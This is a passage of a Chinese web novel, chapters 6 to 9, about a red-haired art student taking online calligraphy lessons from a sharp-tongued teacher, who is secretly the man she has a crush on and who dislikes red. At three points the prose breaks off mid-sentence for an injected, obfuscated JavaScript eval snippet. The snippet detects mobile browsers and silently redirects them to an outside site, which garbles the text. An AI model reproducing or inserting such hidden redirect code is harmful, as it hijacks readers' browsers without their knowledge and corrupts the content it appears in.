“老爷子在书房,他说你回来的话先去他那一趟,有事找你。” 书房的门缝溢出暖黄光线,林映舟伸手轻叩,门内传来茶盏轻碰的脆响,“进来吧。” 林映舟推门而入。 在林家,书房面积是比卧室还要大上几倍的。 六米宽的书架由整块金丝楠木剖制而成,在经年累月中沉淀出琥珀色的包浆,上面陈列的典籍字画层叠如山峦。 林映舟的影子落在山水画上,挺拔的背脊与画中险峰形成微妙的重影。 “爷爷。” 林昀之放下手中抄本,轻点头,“嗯,好些时间没看到你了,最近在忙什么?” 林映舟回答,“学生会和公益班的宣传,还有医学院的一些事。” 林昀之了然,摘下自己的老花镜,“安医生说的那个方法有效果吗?” “有一点。” 至少在日常生活中看见小面积的红色不会有应激反应了,但是看到大的会动的,他依旧要第一时间回避。 林昀之若有所思,沉默半晌问道,“那就好,明年能完全恢复吗?” “不清楚。” 十多年过去试了那么多方法才有这点进展,新疗法才开始一个月哪会这么快。 况且心理上的问题,痊愈的时间从来都是未知的。 又或者说,他根本不会痊愈。 爷孙俩持续沉默着,沉香丝丝缕缕弥散,舒缓淡雅,却缓解不了书房内的气氛。 林昀之岔开话题,“对了,之前来家里采访的电视台余总编还记得吗?” “记得。” 林昀之食指在书案上轻叩,“她有个侄女想学书法,你去教她吧。” 见林映舟面上并无抗拒神色,他补充,“她很喜欢你的画。” 好。” 林映舟没有多问,他不关心那位电视台总编的侄女是谁,也不关心林昀之这么做的目的。 他只需要听从安排。 见他如此爽快,林昀之却迟疑了。 林映舟已经大三,除去自己的专业课和作业要完成,还得抽空负责云大书协和学生会的活动,时不时要参加一些书画比赛,现在又被自己强加了一项任务。 或许是心疼孙子,他说道,“你不方便的话,就让谢骏替你去吧,都一样的。” 林昀之几年前欠了余舒书一个人情,她今早打电话托自己在中书协里挑个年轻会员去教她侄女书法。 说就是上次带去美术馆的那个,现在在美院上学。 林昀之很快想起,那天她站在映舟那幅画跟前看了好一会儿,还说特别喜欢。 是个有眼光还真诚的女娃娃。 那件事过去多年,这是余舒书第一次开口托他帮忙。 虽说没想通过这小事还清人情,单单在中书协找个书法厉害的年轻人,太简单了,显得他不上心。 若是林映舟,他名义上的孙子过去,那就不一样了。 “方便。”林映舟知道林昀之的选择都是综合考量过的,既然是考量后的结果,那就不会退而求其次。 可是。 林映舟没想到余舒书的侄女、自己要教的学生会是沈屿思。 会是那个从一出现就让他生理性讨厌的人。 从美术馆落在他衣领处的那根红头发,再到报名时直直穿过来的赤.裸眼神。 以及在学校医院愚蠢到令人发指的行为。 他不喜欢她的头发。 还有她红色的头像。 所以,在通过沈屿思的好友申请后,他说的第一句话是:【把你的头像换了】 6.不及格 沈屿思收到余舒书推来的微信名片是某日清晨。 书姨:【一个朋友的亲戚,中书协成员,有事直接微信沟通就行,和你年纪差不多,很好说话的】 余舒书没有直说身份,一是因为近段时间台里多出几个项目,忙得抽不开身,况且找书法老师找到中书协主席家里去,这解释起来麻烦。 二是担心沈屿思知道后学书法会有压力,余舒书不希望自己对她的好成为她的负担。 沈屿思不知道书姨口中的朋友是林昀之,更不知道这亲戚是他的孙子林映舟。 沈屿思啥也不知道,所以她高高兴兴地添加了Z的微信。 B班我来啦! 林映舟我来啦! 隔了半小时,微信才弹出通过好友验证。 为了给老师留个好印象,沈屿思迅速编辑信息发送。 【老师你好,我是余总编的侄女,接下来这段时间跟你线上学习书法,麻烦你啦】 再配上一个鞠躬的表情包。 看!多有礼貌的开场白! 又隔了半小时。 Z:【把你头像换了】 沈屿思盯着屏幕好一会儿,试图理解这句大白话。 因为她实在想不到,一位“好说话”的书法老师,加好友第一句话会是这个。 显然,电视台总编的表达能力不会出错,那是她理解错了? 其实好说话的意思并不是好说话? 把头像换了的意思并不是换头像? …… 要不是有求于人家,沈屿思才不会搭理,她找了个loopy戴红色帽子的头像换上。 还善解人意地问了一句:【老师你是不喜欢海的女儿吗?】 在安徒生童话里,沈屿思最喜欢的就是海的女儿,她从小就希望自己能够拥有和小美人鱼一样茂密鲜艳的红头发。 所以高中毕业后,她第一时间就染了个红毛。 这次Z的消息回得很快:【我不喜欢红色】 沈屿思:“……” 她最喜欢的颜色就是红色,以至于她非常不理解这世界上居然会有人讨厌红色,甚至讨厌到不希望在聊天框出现的这种地步。 奇葩。 太奇葩了。 想到未来一个多月要和这个奇葩学书法,沈屿思恨不得现在发消息给书姨,让她重新选一个正常人来教她。 当然,只是想想。 现在电视台有多忙根本无需多言,再因为琐事打扰她不好。 沈屿思又一次妥协,把自己无聊时画的一个嬉皮笑脸的表情包放上去:【好了】 Z:【嗯】 沈屿思对他不再礼貌客气:【然后呢,我们什么时候开始】 Z没想到她学书法的心如此急切,他手头上还有事没处理完,不能立马开始。 Z:【写副字帖发我,先看水平,再制定计划】 Island:【好】 沈屿思执行力一直很强,昨天就托人买好了笔墨纸砚,她起床单脚跳到书桌前拿起毛笔就开始写。 写好一张觉得不满意,扔在一边又重写。 反反复复无数次,书桌边很快堆满了废弃宣纸。 终于,在一小时后沈屿思写出了一张自认为完美的作品。 她拍好照片发过去。 到了中午才收到回复。 Z:【20】 沈屿思拿着手机不明就里:【二十是什么意思?】 Z:【不及格】 沈屿思差点从床上蹦起来。 不及格? 这人在说什么? 说她书法不及格? 不但不及格,还只有二十分???? 回想过去的十八年里,沈屿思从未有过不及格,哪怕是再不重要的学科,她照样能拿到好成绩。 虽说书法不在她擅长的领域里,可也不至于才二十分吧。 她以前在兴趣班上可是次次前十的。 就算这人很厉害很专业又怎样,他凭什么说她才二十分?! 沈屿思摁灭手机,重新端详着自己的作品。 左看右看,越看越觉得这人口出狂言。 沈屿思果断发消息给谢笙吐槽:【他说我不及格,说我这水平只有二十分!】 谢笙大怒:【岂有此理!】 沈屿思更生气了:【就是!岂有此理!】 沈屿思仰躺在床上,开始怀疑书姨是不是分享错名片了啊。 这个Z和很好说话没一点关系啊。 隔了一会儿,手机震动两下,沈屿思以为是Z意识到自己说错话了,来和她解释。 结果是谢笙发了段视频过来:【别沮丧,你的动力来了】 沈屿思点开。 是林映舟在某次活动上的演讲视频,看视角和画质应该是底下观众拍的。 镜头里的林映舟穿着浅色毛衣,头发垂落在额前,午后阳光穿透礼堂玻璃斜射进来,氤氲了他的五官轮廓,惯常冷清的眼睛变成有温度的琥珀色。 萦绕周身的疏离感逐渐消融,整个人柔和温润。 笙笙:【这可是我翻了很久才找到的,有没有给到你动力?】 沈屿思双手捧脸呈花痴状,笑得眉眼弯弯:【有有有!以后每天来一份,我需要能量!】 笙笙:【行行行】 沈屿思又点开视频,看完后在床上翻了一圈,打开和Z的聊天框,恢复最开始的礼貌态度:【那老师,我怎样才能及格呢?】 她能屈能伸,在男色面前,这点挫折算什么。 Z:【练】 Island:【练什么】 Z:【兰亭序,十遍】 行啊! 练啊! 沈屿思就这样给自己在养伤期间找了件消磨时间的好差事,每天除了画画就是练书法,偶尔看看帅哥和同学们的军训视频。 日子过得非常有盼头。 沈屿思以前学书法是没有目的地在学,以至于堪堪稳在前十就不愿意继续再往上,后来上了高中学业忙起来干脆就不去了。 而现在有了想达到的目的,沈屿思开始对书法上心,发现写毛笔字从某种意义上和画画没区别。 她画画很厉害,这么一来,书法于她而言就容易多了。 十遍练完后已经过去一天半的时间,Z让她挑出一张最丑的发给他。 沈屿思疑惑:【写得最好的不发吗?】 Z:【不用,你自己留着珍藏】 沈屿思手机一摔。 这人在嘲讽她! 图片发过去后,Z隔日才回复。 他将沈屿思发过来的图片一字一字拆解成小图,在每张小图边上写满批注,做了个324页的PDF发过去。 沈屿思点开大致浏览了一遍,批注里指出的问题详细且一针见血,还给出了解决方案,试了试发现确实有效果。 不用想都知道耗费了Z多少时间和精力,难怪一天没理她,沈屿思最开始还以为是自己写的太差,Z想跑路了。 这份PDF使沈屿思对Z的印象有所改观,他从一个没礼貌的人变成了一个没礼貌但很负责的老师。 Z:【把这个看完,重新写十遍,发最差的给我】 沈屿思继续照做,一有时间就对着PDF研究,越研究越觉得好玩。 她以前怎么没发现书法这么有趣呢。 林映舟第二次收到图片的时候,书法班的宣传已经结束。 他点开图片迅速过了一下。 之所以选择用文档的形式,一是不想和沈屿思有太多信息往来,二是学校的事情琐碎,忙起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203477|165518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来根本回不了消息。 虽然他不喜欢沈屿思,不过答应了长辈要好好教,那就不能敷衍了事。 林映舟原先以为那份文件足够她啃一个星期,没想到沈屿思一点就通,才过去两天就把提到的问题全都改正了。 还行,不算太笨,能继续教。 所幸林映舟也稍微空闲下来,想着早点教会早点结束这磨人的差事。 Z:【这几天我都有时间,有问题随时找我】 沈屿思当然不会客气,一有事就给他发消息,不回就继续发,把Z的聊天框当成留言板。 Z看到后会一条一条消息回复过去,虽然极简短但沈屿思明显感受到他的态度在转变。 只是依旧改变不了他嘴毒的本质。 遇到需要思考的问题,沈屿思一时间不能理解透彻就会缠着Z要他直接告诉她。 Z总是冷漠地叫她自己慢慢悟不要总想着靠他。 说完没一会儿就会给她小提示。 刀子嘴豆腐心。 知道他年纪不大,又接触了这么些天,沈屿思自认为Z于她而言亦师亦友。 正好谢笙忙起来没空理她,沈屿思开始拉着他聊天,废话掺在正经问题里,他根本没理由不回。 Island:【老师,你最喜欢的书法家是谁啊?】 Z:【赵孟頫】 Island:【我还以为是王羲之呢】 Z:【那就是王羲之】 凭着沈屿思对他的了解,Z绝不是顺着她,而是不愿和她解释为什么不是王羲之的原因,想快点结束话题。 切。 小时候沈屿思学书法的动力来源于,她想在过年时写对联贴在家门前,一直没能实现的原因是因为她自恋程度不够,做不到把自己的丑字贴在外面给别人欣赏。 不过这次她找到了外挂! Island:【老师,等过年你能写副对联给我贴家门口吗?】 Z:【自己写】 Island:【自己写的不好看】 Z:【知道不好看还不多练】 沈屿思看到消息时正好在洗漱,脸上手上糊满了洗面奶泡沫,不方便打字,她发了条语音过去,语气里带着对自己实力的不满意和对Z的肯定,“可我练得再久也没有你厉害啊。” 忽然收到沈屿思的语音,林映舟垂眸顿了好一会儿才点开。 显然,他已经忘记手机音量在不久前调到最高还未降下,沈屿思的声音随着他摁下的动作从扬声器里传出。 霎时间,甜腻的嗓音在书房里回荡,侵入他的耳蜗。 “可我练得再久也没有你厉害呀~” 林映舟猛地摁灭手机,世界一瞬间静默了。 可她的声音依旧在耳边漾开。 “可我练得再久也没有你厉害呀~” 她在说什么啊。 为什么要用这样语气和他说话。 林映舟想叫她以后别再发语音给他了。 又觉得没必要,他为什么要去管人家发不发语音。 和他有什么关系。 过了很久沈屿思才收到Z的回复:【拍马屁也没用,今天给你安排的作业呢?发我】 Island:【马上马上】 今天沈屿思沉迷游戏好几个小时,少了几遍没写完,本想用拍马屁躲过作业检查,居然被他发现了。 真不好糊弄。 不过他这回复的字难得的多啊。 之后沈屿思依旧会在不方便的时候选择语音回消息。 有了前车之鉴,林映舟几乎都是转文字,偶尔转文字不够清楚才会调低音量再点开她的语音。 可不管沈屿思说什么,用什么语气说,他都觉得她的语气很奇怪。 就像…… 撒娇。 7.练书法 某天谢笙和沈屿思说感觉她的书法有很大进步。 沈屿思开心死了,她迫不及待地想要得到Z老师的认可。 是的,她现在十分膜拜Z的书法。 得到他的认可无异于得到了进B班的通知书。 Island:【老师,你觉得我相比于之前,有没有进步?】 Z发来两个数字:【21】 沈屿思对这个分数不满意:【才进步1分吗】 Z:【多给了,其实0.5】 哇塞,其实你不用说出来的。 Island:【那我谢谢你,怎样的作品才算及格?我参考下】 Z:【我这样的】 天呐,好神经的标准。 沈屿思知道这个标准后,忽然觉得最开始Z给自己打20分也不是件难以接受的事情。 毕竟按照这个标准,世界上百分之八十五的书法作品都不及格。 书法的进步给了沈屿思很大的信心,她拜托谢笙找她男朋友搞了张去年B班成员的作品图。 她发给Z,问他:【照我们这种学法,我什么时候才能达到这样的水平啊】 林映舟收到这条信息时,正在去学生会开会的路上。 他把图片放大扫了一眼,觉得这字迹眼熟,一直划到最后的署名才明白这熟悉感来源于哪。 这是上届公益班一位学生写的,去年他批阅过。 Z:【哪来的?】 Island:【一个朋友发我的】 Z:【三个月】 他基础比沈屿思好太多,之后又系统培训过一年,两人差距拉得更开,如果能一直保持这样的练习强度,三个月努努力还是可以的。 Island:【这么久,那完蛋了】 Z:【你想多久】 Island:【我当然想现在就能拥有,或者二十天?】 算算时间,行书考试差不多还有二十多天就来了。 Z:【去睡觉吧】 梦里什么都有。 Island:【不行呀,再过段时间就要考试了】 Z:【什么考试】 Island:【我们学校有个书法公益班,考试分等级,我想考B班】 林映舟想起前段时间确实有人说沈屿思填了报名表,只是他不明白她为什么非要进B班:【A班才是最好的】 Island:【我还是有点自知之明的,A班我肯定考不上】 笑话,想进A班的都是今年书法系的新生,从全国杀上来的人,她怎么干得过人家。 Z:【那你的自知之明有没有告诉你,B班你也考不上】 沈屿思梗住,只觉喉头涌出一股腥甜,她应该是要被气吐血了。 Island:【……Z老师,能不能对我鼓励式教学一下?】 林映舟敛眉,鼓励式教学吗? Z:【不要担心,以你的实力,能稳进C班的】 沈屿思沉默,这就是他花了几分钟想出来的鼓励教学? Island:【就没有奇迹发生了吗?】 Z:【你想要什么奇迹】 Island:【比如说,考试那天我突然王羲之附体,豪情壮志写下兰亭序!】 林映舟本想叫她去做梦,想到要鼓励式他硬是把做梦两个字给憋回去了:【真能附体,A班随便进】 Island:【我才不要,我要去B班】 Z:【你的志气呢】 什么志气?泡帅哥的志气吗? Island:【你不懂,B班有个很帅的老师】 Z:【?】 他怀疑自己眼花看错了。 “映舟。” 林映舟抬头,脸上神情还保持着三分疑惑三分震惊以及四分不理解,“怎么了?” 许怀川问道,“刚刚叫你呢,你看什么这么入迷?” “没什么。”林映舟又恢复原先淡然的表情,他收起手机,翻开会议纪要。 沈屿思还在发消息过来:【可能你不懂我们花痴的心理,但他确实帅爆了】 一直到开完会,林映舟才回复:【你学书法,是为了进B班?】 Island:【对啊】 林映舟又问:【进B班是为了那个老师?】 B班一共三个老师,其余两个年过四十。 所以,他确定沈屿思说的就是他。 Island:【对啊,近水楼台先得月嘛】 林映舟的脊背有一瞬僵直。 ——沈屿思居然喜欢他。 一想到这,林映舟顿觉呼吸困难,就好像第一次遇到她时,落在领口的头发还没飘走,依旧粘在上面,甚至开始无限延长,直到勒住他的脖子慢慢收紧。 他伸手摸了摸,空无一物,可传来的异物感依旧清晰。 这种不适让他抓狂。 许怀川见他神色凝重,关心道,“不舒服吗,感觉你今天很不在状态啊,刚刚开会也有好几次走神。” 往常可没见他这样过。 林映舟摇头,“没事,可能没睡好。” “最近很忙吗?” 作为朋友,许怀川也是了解他的,年纪轻轻身兼多职,最忙的时候,医学院和美院两头跑,学生会也有事情要处理,空闲时间还要参加一些比赛,家中甚至还有聚餐要到场。 神仙也经不起这样的折腾啊。 “有点。” 许怀川疑惑,“公益班的宣传不是结束了吗,学生会的工作也才刚刚展开。” “就一点琐碎的小事。” 沈屿思练字热情很高,问题也多,他总要抽出时间去回复消息,每天还要批她的作业。 好不容易空闲下来,全得围着她转。 许怀川表示同情,“好吧,还是要注意休息啊。” “嗯。” 沈屿思见Z一直没回消息,把手机一放,开始画画去了。 本来以为他只是太忙没空,结果到了晚上他也没发消息来。 今天的书法任务已经完成,没什么理由继续发消息打扰人家。 可沈屿思心里总觉得怪怪的。 他是不是生气了啊。 Z业务能力出众年纪又不大,现实生活中在书法领域肯定有不凡成就。 在他心里,书法或许是件神圣严肃的存在。 他精心教导学生书法,结果学生从最开始就想着用书法泡帅哥。 从他的角度来说,她这个学生简直‘有辱师门’。 沈屿思不觉得Z因为这件事不高兴有什么不对,也不觉得自己的行为有什么不对。 做任何事都有一个目的,让自己开心也算是目的。 沈屿思从小喜欢什么,用尽全力也要得到,虽然最后都会厌倦。 她享受在追逐过程中获得的成就感和满足感,这带来的愉悦是持续性的。 她因为林映舟想去B班,又为了去B班练书法,在学习的过程中她很快乐。 哪怕最后不喜欢林映舟了,她在这段时间里得到的好心情和技能依旧存在着。 她开心的目的已经达到,甚至还练成了一手好字。 无论怎么看,她都不亏。 各人看法不同而已,他要是实在不想教的话就换个人吧。 不过想再找个和Z一样年轻又专业还负责耐心细致的老师,应该有些难。 算了,时候也不早了,先睡觉吧。 总有办法的。 - 林宅。 深夜。 林映舟坐在书房里,手机页面还亮着,是和沈屿思的聊天框。 ——Island:【对呀,近水楼台先得月嘛】 林映舟靠在太师椅上,手搭在额角,他的思绪有些乱,正在将脑子里的线团一点点捋清。 沈屿思喜欢他。 所以她会出现在美术馆,又精准地找到他问路。 报名时直勾勾地看他,被他发现后没有闪躲,眼神还更加明目张胆。 之后受伤轮椅失灵,突然在心理科附近出现,恰好被路过的他救下。 那下一步是不是要感谢他,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221325|165518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找机会请他吃饭? 如果沈屿思真这么做了,他会拒绝吗? 毕竟以前有女生以此为借口找他单独吃饭,他都是拒绝的。 像她这样的人应该没被人拒绝过吧。 到时候她肯定会很难过。 她会不会发消息和他诉苦? 说,“Z老师,他居然敢拒绝我的邀约,真不识好歹!” 想到她会用什么样的语气说出这句话后,林映舟只觉得好笑。 意识到自己嘴角极小幅度上扬后。 他敛眉默了片刻。 “疯了。” 门外有人敲门,“映舟。” 林映舟摁灭手机,对门外喊道,“进。” 苏管家端着瓷盅进来,“在前院看到你书房的灯还亮着,就做了点宵夜端过来。” 从林映舟妈妈上小学一直到林映舟被带回来,苏管家在林家待了三十多年,是从小看着他长大的。 知晓他平日被如何严格要求,年纪轻轻身上担子多得数不过来,老爷子的安排轮不到她插手,就只能做些日常的小事来缓解林映舟的压力。 被人提醒,林映舟才意识到自己在这件事上浪费了多少时间,他抬眸看了眼时钟,居然快十二点了。 他的作息一向规律,从未这么晚睡过。 林映舟深吸一口气,有种规则被打乱的烦闷,“嗯,有些东西还没搞清楚,就睡得迟了。” 苏管家将燕窝放在书案上,“趁热吃了吧,处理完就早点睡,身体别熬坏了。” 林映舟抑住这股焦躁情绪,语气软和道,“好,苏姨你也早点睡。” 安神香在通风口点燃,林映舟没一会就睡着了。 即便是睡着,也依旧在为这件事困扰。 因为。 他梦到沈屿思了。 - 沈屿思睡眠质量一向很好,一夜无梦睡到自然醒。 拿起手机看了眼时间,上午八点半。 她起床随意梳洗一番,吃过酒店送来的早餐后看了眼天气。 外面太阳很大,紫外线含量超标,沈屿思将头发扎成丸子头,戴上防晒衣防晒帽防晒口罩,全副武装后才出门。 今天是去医院复查的日子,她的伤已经好了大半。 夏西繁在酒店楼下等了有一会儿了。 沈屿思钻进车里,“怎么来这么早,不是还没到时间吗。” “没事。” 夏西繁怕沈屿思会提早下楼,他不能让一个女孩子还是病号在这么热的天气等他,所以早了二十分钟出发。 沈屿思要是知道他的想法只会笑,她是绝不可能做出这事的。 她看了眼夏西繁也没多说什么。 “你的腿现在怎么样,还痛吗?” “早不痛了。” 其实伤得并不重,只是擦伤太多看着吓人,又加上脚踝连接处的伤口比较深,容易因为走动牵扯到,一不小心就会裂开流血,反反复复不见好。 “那就好。”说着,夏西繁递过来一罐东西,“这是我托人买的祛疤膏,等结的痂掉了你就涂上,我打听过了,都说很好用。” “行,谢了。”沈屿思一直担心伤口会留疤,前不久也在查有没有厉害的祛疤膏,没想到夏西繁已经买好了,她随手放进包里。 这段时间的接触,沈屿思对夏西繁的态度缓和了很多。 那天他送沈屿思回酒店后,很快就补偿了损坏的东西。 手机是很容易买到的,但她的包是大热款,当初可是找了好几家柜姐才定到的货。 虽然不清楚夏西繁怎么买到的,也一定费了不少功夫。 后来夏西繁又说要订营养餐给她,沈屿思心里不爽故意为难,列了满满一页的忌口给他。 哪想夏西繁将这忌口奉若圣旨,送来的餐食根本挑不出错。 现在想想,沈屿思也觉得自己有些过了,说到底他也不是故意撞过来的。 但道歉这事,她很少做,总觉得别扭,想了想还是没说话,口头的歉意不如实际行动来得实在,找机会请他吃个饭吧。 8.女朋友 车子行驶在主干道上,不免有些堵车,一个小时后才到医院。 检查过后医生说没什么大碍,让夏西繁拿着单子去排队交钱。 沈屿思坐在科室外的椅子上等,突然发现今早谢笙的消息还没回,担心会被她谴责问候,她赶紧摸了摸口袋。 才想起来手机在包里,包被夏西繁拎着,沈屿思起身想去找他拿手机。 通往电梯口路过一段走廊,沈屿思走过时余光掠过一张熟悉的脸。 这张脸出现在她手机屏幕数次,意识到他是谁后,几乎是瞬间,沈屿思顿住脚步往回走。 林映舟正站在科室外,肩宽腰窄,长身玉立,什么都不做只是站着就足以吸引周围人的目光。 他今天没穿衬衫,套了件棉质白短袖,日常清爽的穿搭,活像男大学生。 也不对,他本身就是男大学生,只是平时的冷淡气质掩盖了这一事实。 沈屿思大喜,真天助她也,在医院偶遇林映舟的概率已经达到百分之五十了! 她快步走过去朝他打招呼,“你好!” 就在两分钟前,林映舟站在走廊等人,眼前穿过一抹极少的红色,等他发觉时,红色已经掠过他正往电梯处走。 他没看清那人的脸,但林映舟知道。 是她。 现在讨厌的红色发现他了,又走回来,还和他打招呼。 林映舟循声侧头看去,没应声。 沈屿思脸上划过几分失望,她将帽子拿下露出素净又精致的五官,“你不记得我了?” 林映舟垂眸。 呵。 怎么可能。 但他还是问,“你是?” 不知道他是记性差还是自己不够让人印象深刻,沈屿思只能帮他回忆,“上次在学校医院,我的轮椅失灵了,是你帮我制服了它。” 林映舟微微点头,“哦,想起来了。” 沈屿思将帽子戴好,又说,“那时候你走太急了,我都没来得及谢谢你。” “没事。”林映舟脸上没什么表情,依旧看着眼前的人,似乎在等她的下文。 果不其然。 “你什么时候有空,我请你吃顿饭吧。”沈屿思趁热打铁,“给我一个感谢你的机会?” 语气诚恳又有合适的理由,她觉得林映舟有百分之九十的概率不会拒绝她。 听她说完,林映舟眼底划过一丝极淡的情绪。 正欲开口,内分泌科有人走出来朝他说道,“好了,我们去吃饭吧,附近有家本帮菜还不错,你肯定喜欢。” 没有得到回应,林晚夏才抬头看过去,见有个女生站在林映舟边上,她问,“映舟,这是你朋友?” “同校的。” 林映舟转头回答,错过了沈屿思脸上倏然变得僵硬的表情。 林晚夏了然,询问沈屿思,“正好饭点了,要一起吗?” 对于她的大方邀请,沈屿思回以一个礼貌的微笑,“谢谢,不用了。” 天呐! 人家陪女朋友来看病,她居然不知死活地约他一起吃饭。 女朋友看到后居然还邀请她。 天呐! 好大度的女生啊。 沈屿思视线飘忽,觉得自己像个电灯泡,她想赶紧离开这尴尬的地方。 余光看见夏西繁从不远处电梯口走来,哪知他只顾往前走,根本没看到自己。 正要擦肩而过,沈屿思叫住他,“夏西繁!” 夏西繁回头,“欸,你怎么在这儿?” “包在你那,想找你拿手机。” 沈屿思不想继续尴尬下去,她和林映舟说,语气早没了最开始的热情却也依旧礼貌。 “这事就算了,我先回去了,还是很谢谢你当时帮我。” 说完从夏西繁肩上拿回自己的包,和他一起离开。 林映舟视线停留在两人挨得极近的背影上,下颌动了动。 他刚刚有说自己不方便吗? 走远后,夏西繁才问,“刚刚那人是你朋友?我怎么看着有点眼熟。” 沈屿思:“路人。” “好吧。”见沈屿思不想说,夏西繁便没有再问,“中午了,想吃点什么?” 来之前正好想请他吃饭,现在机会就来了。 沈屿思赶紧说,“你想吃什么,我请你吧。” 夏西繁怎么可能答应,“哪有女生请客的道理,还是我请吧。” 沈屿思和夏西繁的联系会因为她脚伤痊愈而减少直到没有,错过这次还要另找机会,太麻烦了。 她停住脚步,看他,故意严肃,“夏西繁,这你也要和我争?” 见她生气,夏西繁赶忙解释,“我没有,我不是这意思。” 他长叹一口气,“算了你请吧。” “好,跟我走!”沈屿思瞬间变脸,给了他一个微笑。 夏西繁被她的笑晃到,等沈屿思走远好一段路他才回过神来,喊道,“你等等我啊。” “拜托,我是病号,你走得比病号还慢,是不是要反思一下自己,你可是体育生诶。”沈屿思转身问他,“还没说你要吃什么?” 夏西繁追上去,“我吃什么无所谓,你选吧,你忌口多。” 沈屿思呵了一声,“借机点我呢?快说!之前给你列单子的时候,看那满满一页心里是不是在骂我?” “没有,我怕我选的你都不喜欢。” 沈屿思承认自己恶劣的行为,“我没那么多忌口,之前故意骗你的。” “我就知道。”正常人哪有那么多不喜欢吃的东西,夏西繁当时没拆穿是沈屿思憋着火想给她一个撒气的机会。 沈屿思轻哼,“你又知道喽。” 两人身后不远处,林映舟和林晚夏站在医院门口看着他们边拌嘴边上了同一辆车。 林晚夏伸手指着,故意说,“呀,映舟你看,难怪她刚刚说不用,原来是已经有吃饭的人选了。” 林映舟语气没什么起伏,“她拒绝的是你。” - 吃过饭后,夏西繁送沈屿思回酒店。 见她闷闷不乐的,问道,“你怎么了?不开心?” 她随口一说,“没有,就是觉得再这样下去我就要胖了。” 吃得又多运动又少,完全就是按照养猪的流程来。 “哪里胖了,我怎么没看出来。”夏西繁上下打量着,甚至觉得她太瘦了。 回想起开学那天,他抱起她的第一反应就是,怎么会有人这么轻,他室友的体重估计是她的两倍。 想着想着,他耳尖不由得开始泛红。 沈屿思心里有事自然没发现某人的害羞。 回酒店洗完澡后,她躺在床上长叹一口气。 拿出手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227441|165518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发消息给谢笙:【情报有误!人家有女朋友了】 想了想又补充:【就算不是女朋友也是暧昧对象,反正他有人了!】 笙笙:【你说谁啊?林映舟?不可能啊】 沈屿思面无表情地打着字:【我今天在医院看到他了,人家陪女孩子检查,结束后一起去吃饭,人女孩子看到我还问我要不要一起去,我去干什么,当电灯泡啊,她不会觉得我很亮吗?】 她越想越生气:【当人家面约人男朋友吃饭,你都不知道我当时有多尴尬,真想找个地洞钻进去】 笙笙:【绝不可能是女朋友,我去打听下,你等我消息】 Island:【什么不可能啊,都这样的关系了,总不可能是姐姐吧,我可查过了,林院长只有一个孙子】 笙笙:【你先别难过,肯定有误会的】 没有用,在沈屿思心中林映舟的头上已经挂上不可碰的标签了。 她是个有原则的人,从不和有女朋友或有暧昧对象的人牵扯,哪怕再帅再喜欢也不行! 沈屿思又开始庆幸,还好她发现得早,不然插足别人感情也太不道德了。 她仰躺在床上,悲伤快要溢出来了。 沈屿思已经很久没遇到像林映舟这样,全身上下都符合她审美的男人了。 想到这,她练字的动力已经烟消云散。 反正Z也生气了,到现在也没发消息给她。 算了,结束吧,她的书法之旅! 谢笙又发消息过来:【我去问了,人家还没回我,我今天刚挖到林映舟大一的视频,要不要看】 Island:【不看】 笙笙:【很帅的!】 Island:【再帅!也不看!】 看了有什么用,越看越心痛。 悲伤持续了仅仅十分钟,沈屿思就收拾好了心情,她从床上爬起来,拿出数位板开始画画。 今天医生说她的脚踝伤口有点深,可能会留疤,祛疤膏顶多减淡些颜色,不能完全去除。 那道伤口不长,留下的疤也不会长,只是想着自己白白的脚踝上留下不好看的痕迹就觉得膈应。 正好沈屿思之前就想纹身,一直没想好要纹哪里。 这样的话,那就脚踝吧,纹自己画的稿子更有意义,所以她打算自己画。 设计纹身稿费时间且费脑,她又是个完美主义,稍有不喜欢就擦掉重新来,等草稿定好后窗外天色已经暗下。 沈屿思伸了个懒腰,脊柱发出轻微脆响。 落地窗外,云昌的灯火次第亮起,作为黄金中轴线的制高点,宜江酒店将整座城市最美的夜景尽收眼底。 晚高峰的车流在夜色中凝成液态金属的钢铁洪流,永不停歇地注入城市心脏。 谢笙那边也没有再发消息过来,沈屿思向来拿得起放得下,现在林映舟是否单身对她来说已经不重要了。 饭点已经过了两小时,沈屿思却没感到饿,可能是中午吃多了。 想起上涨了三斤的体重秤,她打算练会瑜伽玩会儿游戏再睡觉。 沈屿思也没想到不练字之后时间居然这么充足。 她从床上拿起手机打算把瑜伽跟练视频投屏到电视上,等待加载的时间里,微信突然弹出一条信息。 ——【你今天的作业呢】 沈屿思一激灵,手机差点脱落。 9.玩游戏 等上菜的过程中,林晚夏问,“刚刚在医院,那小姑娘真的只是普通校友?” 林映舟抬眸,一眼看穿她的想法,“你想问什么?” “就是看你身边突然出现个异性,太不正常了。”林晚夏继续说,“而且我觉得她对你绝对有点意思。” 